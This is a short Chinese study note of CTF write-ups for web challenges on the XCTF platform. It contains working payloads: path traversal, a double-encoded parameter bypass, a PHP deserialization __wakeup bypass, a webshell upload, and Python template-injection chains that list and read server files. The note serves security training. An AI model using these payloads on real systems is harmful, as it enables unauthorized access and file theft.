20200811信息安全实训

笔记本: 我的第一个笔记本
创建时间: 2020/8/11 18:18 **更新时间:** 2020/8/11 20:22
作者: 820410740@qq.com
URL: https://blog.csdn.net/yybzzz/article/details/104971608

攻防世界
warmup 查看源代码发现提示source.php 进入source.php 代码审计 发现一个hint.php页面提示flag在本文件中，但需要使用四层目录
满足check_file函数后 到达flag页面

`?file=source.php?/../../../../ffffllllaaaagggg`
NewsCenter 这是一道sql注入题 字符型 三列数据2，3显示 在secret_table表中
注意有可能环境出错，刷新即可

NaNNaNNaNNaN-Batman 下载打开后发现是一个输入框 审计代码 我们需要满足四个条件 使其不为空 方能得到flag

PHP2 查看源码（index.phps）分析可得 直接id为admin是不成立的，但id解码后要为admin 但要注意在代码运行时会自动进行一次解码 所以要有两次解码配合
%2561dmin

unserialize3 反序列化问题 使用了魔法函数_wakeup() 将所给类直接序列化成字符串 将他赋值
可得 `O:4:"xctf":1:{s:4:"flag";s:3:"111";}`
然后需要对其进行一个修改，使得魔法函数不会执行 就可得到flag

upload1 上传文件直接bp抓包 可以看到存在部分js代码 使用菜刀进行图片马连接 获得flag 也可以将js代码删除 可直接传php代码

Web_python_template_injection 这是一个python模板注入
/{{7+7}} 判断python模块注入
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}